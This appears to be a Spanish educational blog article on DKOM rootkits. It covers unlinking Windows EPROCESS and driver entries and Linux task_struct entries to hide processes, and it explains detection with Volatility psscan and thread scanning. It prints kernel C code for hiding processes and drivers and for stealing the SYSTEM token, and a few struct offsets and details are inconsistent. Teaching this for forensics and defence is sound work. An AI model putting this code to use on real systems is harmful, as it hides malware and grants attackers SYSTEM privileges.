AvanzadorootkitsDKOMEPROCESSkernelWindowsocultación

DKOM: Direct Kernel Object Manipulation para Ocultar Procesos

Análisis técnico de DKOM (Direct Kernel Object Manipulation). Cómo los rootkits manipulan las estructuras EPROCESS y ETHREAD del kernel de Windows para ocultar procesos sin hookear syscalls. Detección con Volatility y pool scanning.

MalwareIntel Research··8 min lectura
Serie: Rootkits y Bootkits — Parte 4

Manipular datos en vez de interceptar funciones

SSDT hooking intercepta las funciones que leen datos. DKOM modifica los datos que las funciones leen. Es la diferencia entre poner un filtro en una cámara (hooking) y modificar la escena que la cámara graba (DKOM).

DKOM es más sigiloso que SSDT hooking: no modifica código ejecutable del kernel, no cambia punteros en tablas del sistema, y no es detectado por PatchGuard. Modifica solo datos (listas enlazadas, contadores, flags) que PatchGuard no verifica.

Estructura EPROCESS

Cada proceso en Windows tiene una estructura EPROCESS en kernel memory. EPROCESS contiene toda la información del proceso:

// Estructura EPROCESS (simplificada, offsets de Windows 10 x64)
typedef struct _EPROCESS {
    KPROCESS Pcb;                          // 0x000: Process Control Block
    // ...
    EX_PUSH_LOCK ProcessLock;              // 0x2D8
    LARGE_INTEGER CreateTime;              // 0x2E0
    LARGE_INTEGER ExitTime;                // 0x2E8
    EX_RUNDOWN_REF RundownProtect;         // 0x2F0
    HANDLE UniqueProcessId;                // 0x440: PID
    LIST_ENTRY ActiveProcessLinks;         // 0x448: Lista doblemente enlazada
    // ...
    UCHAR ImageFileName[15];               // 0x5A8: Nombre del proceso
    // ...
    TOKEN Token;                           // 0x4B8: Token de seguridad
    // ...
    UCHAR Protection;                      // 0x87A: PPL level
    // ...
} EPROCESS;

ActiveProcessLinks es un campo de tipo LIST_ENTRY (lista doblemente enlazada):

typedef struct _LIST_ENTRY {
    struct _LIST_ENTRY *Flink;  // Forward link (siguiente)
    struct _LIST_ENTRY *Blink;  // Backward link (anterior)
} LIST_ENTRY;

Todos los procesos están conectados via esta lista:

PsActiveProcessHead
     │
     ▼
  EPROCESS A ←→ EPROCESS B ←→ EPROCESS C ←→ EPROCESS D
  (System)     (csrss)       (malware)     (explorer)
     ↑                                          │
     └──────────────────────────────────────────┘
     (lista circular)

Cuando NtQuerySystemInformation(SystemProcessInformation) enumera procesos, recorre esta lista desde PsActiveProcessHead.

DKOM: desenlazar el proceso

La operación

Para ocultar el proceso C (malware), el rootkit modifica los punteros de los vecinos:

ANTES (proceso C visible):
  B.Flink → C
  C.Blink → B
  C.Flink → D
  D.Blink → C

DESPUES (proceso C oculto):
  B.Flink → D     (B ahora apunta directamente a D)
  D.Blink → B     (D ahora apunta directamente a B)
  C.Flink → C     (C apunta a si mismo, desenlazado)
  C.Blink → C

Resultado:
  PsActiveProcessHead → A ←→ B ←→ D ←→ ...
  C sigue existiendo en memoria pero no esta en la lista

Código del rootkit

// DKOM: ocultar proceso por PID
void hide_process(ULONG target_pid) {
    PEPROCESS target_process;
    
    // 1. Encontrar el EPROCESS del proceso objetivo
    PsLookupProcessByProcessId((HANDLE)target_pid, &target_process);
    
    // 2. Obtener la lista de procesos
    PLIST_ENTRY current_entry = (PLIST_ENTRY)((ULONG_PTR)target_process + EPROCESS_ACTIVEPROCESSLINKS_OFFSET);
    
    // 3. Desenlazar de la lista
    PLIST_ENTRY prev = current_entry->Blink;
    PLIST_ENTRY next = current_entry->Flink;
    
    prev->Flink = next;        // El anterior ahora apunta al siguiente
    next->Blink = prev;        // El siguiente ahora apunta al anterior
    
    // 4. Hacer que el proceso apunte a si mismo (evitar crashes)
    current_entry->Flink = current_entry;
    current_entry->Blink = current_entry;
    
    // 5. Decrementar referencia
    ObDereferenceObject(target_process);
}

Efecto

Después del DKOM:

Herramienta¿Ve el proceso?Por qué
Task ManagerNoUsa NtQuerySystemInformation que recorre ActiveProcessLinks
tasklist.exeNoMismo motivo
Process ExplorerNoMismo motivo
ps (via PSAPI)NoMismo motivo
Volatility pslistNoRecorre ActiveProcessLinks en el dump de memoria
Volatility psscanBusca EPROCESS por pool tag en toda la memoria
Kernel debuggerPuede buscar EPROCESS directamente

Más allá de procesos: qué más puede ocultar DKOM

Ocultar threads

// ETHREAD tiene una lista similar: ThreadListEntry
// Desenlazar un thread lo hace invisible para herramientas
// pero el scheduler sigue ejecutandolo

Ocultar drivers/módulos

// Cada driver tiene una estructura DRIVER_OBJECT con LDR_DATA_TABLE_ENTRY
// que está en la lista de módulos cargados (PsLoadedModuleList)
// Desenlazar el módulo del rootkit lo oculta de:
// - lsmod (Linux)
// - DriverQuery (Windows)
// - Modules list en debugger

// Codigo simplificado:
PLDR_DATA_TABLE_ENTRY entry = (PLDR_DATA_TABLE_ENTRY)driver->DriverSection;
entry->InLoadOrderLinks.Flink->Blink = entry->InLoadOrderLinks.Blink;
entry->InLoadOrderLinks.Blink->Flink = entry->InLoadOrderLinks.Flink;

Ocultar handles

// La tabla de handles del proceso contiene todos los handles abiertos
// DKOM puede eliminar handles sospechosos de la tabla
// Para que herramientas como Process Explorer no los vean

Elevar privilegios (token manipulation)

// DKOM no solo oculta; tambien escala privilegios
// Copiar el TOKEN del proceso System (PID 4) al proceso del atacante:

PEPROCESS system_process, target_process;
PsLookupProcessByProcessId((HANDLE)4, &system_process);
PsLookupProcessByProcessId((HANDLE)target_pid, &target_process);

// Copiar token
PACCESS_TOKEN system_token = PsReferencePrimaryToken(system_process);
// Escribir el token de System en el EPROCESS del proceso del atacante
*(PACCESS_TOKEN*)((ULONG_PTR)target_process + TOKEN_OFFSET) = system_token;

// El proceso del atacante ahora ejecuta como SYSTEM

Esta técnica (token stealing via DKOM) es la más usada en exploits de escalada de privilegios del kernel.

DKOM en Linux

Lista de procesos en Linux

Linux mantiene una lista similar via task_struct:

// Cada proceso tiene task_struct con:
struct task_struct {
    // ...
    struct list_head tasks;      // Lista de todos los procesos
    pid_t pid;                   // PID
    char comm[TASK_COMM_LEN];   // Nombre del proceso
    // ...
};

// El rootkit desenlaza de la lista 'tasks':
list_del(&target_task->tasks);

// Efecto: ps, top, /proc/ no ven el proceso
// Pero el scheduler sigue ejecutandolo

Ejemplo: Diamorphine

Diamorphine usa DKOM (via hooking de getdents que filtra /proc) y señales mágicas para ocultar procesos. La técnica es equivalente al DKOM de Windows pero implementada como filtrado de la lectura de /proc en vez de desenlazado directo de task_struct.

Detección de DKOM

Volatility: la herramienta clave

PluginMétodoQué encuentra
pslistRecorre ActiveProcessLinksSolo procesos "visibles" (lo que DKOM quiere que veas)
psscanPool tag scanning en toda la memoriaTODOS los EPROCESS, incluidos los desenlazados
pstreeRecorre ActiveProcessLinks + muestra árbolSolo visibles, formato árbol
thrdscanPool tag scanning para ETHREADThreads de procesos ocultos
# Deteccion de DKOM:
# 1. Listar procesos via lista (ve lo que ve el OS)
vol3 -f memory.dump windows.pslist

# 2. Listar procesos via pool scanning (ve TODO)
vol3 -f memory.dump windows.psscan

# 3. Comparar: procesos en psscan pero NO en pslist = ocultos por DKOM
# Ejemplo:
# pslist: PID 4, 324, 420, 680, 1024, 1536
# psscan: PID 4, 324, 420, 680, 888, 1024, 1536
# PID 888 solo en psscan → proceso oculto por DKOM

Pool tag scanning: por qué funciona

Windows usa un allocator de memoria del kernel (pool allocator) que etiqueta cada asignación con un "pool tag" de 4 bytes:

EPROCESS se asigna con pool tag: 'Proc' (0x636F7250)
ETHREAD se asigna con pool tag: 'Thre' (0x65726854)

Volatility psscan busca estos pool tags en todo el dump de memoria. Como DKOM solo desenlaza el EPROCESS de la lista pero NO lo elimina de memoria (el proceso sigue corriendo), el pool tag Proc sigue presente y psscan lo encuentra.

Detección adicional

# Verificar integridad de la lista de procesos
vol3 -f memory.dump windows.pslist --physical
# Comparar direcciones fisicas con las esperadas

# Buscar handles huerfanos
# (handles a procesos que no estan en la lista)
vol3 -f memory.dump windows.handles --pid [pid]

# Verificar Job objects
# (procesos en Job objects que no estan en la lista de procesos)

# Cross-reference con threads
# Cada proceso tiene threads. Si un thread pertenece a un PID
# que no esta en pslist, el proceso esta oculto
vol3 -f memory.dump windows.thrdscan

Limitaciones de DKOM

LimitaciónConsecuencia
El proceso sigue en memoriaPool scanning lo detecta
Los threads siguen en schedulerThread enumeration lo detecta
Los handles siguen existiendoHandle tables lo revelan
Network connections siguen activasNetstat a nivel de kernel lo ve
ETW events siguen generandoseETW-TI registra actividad

DKOM es efectivo contra herramientas que recorren listas del kernel (Task Manager, ps). No es efectivo contra memory forensics (Volatility) ni contra herramientas que usan métodos alternativos de enumeración.

Mapeo MITRE ATT&CK

TécnicaIDContexto DKOM
RootkitT1014DKOM como mecanismo de ocultación
Hide Artifacts: Hidden ProcessT1564.001Proceso desenlazado de ActiveProcessLinks
Access Token ManipulationT1134Token stealing via DKOM

Fuentes y referencias

  • Butler, J. & Hoglund, G. "FU Rootkit: DKOM Techniques." 2004.
  • Matrosov, A. et al. "Rootkits and Bootkits." No Starch Press, 2019.
  • Russinovich, M. et al. "Windows Internals Part 1." Microsoft Press, 2017.
  • Volatility Foundation. "Process Listing Plugins." Volatility 3 Documentation.
  • MITRE ATT&CK. "Rootkit (T1014)." https://attack.mitre.org/techniques/T1014/

Preguntas frecuentes

Artículos relacionados

Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.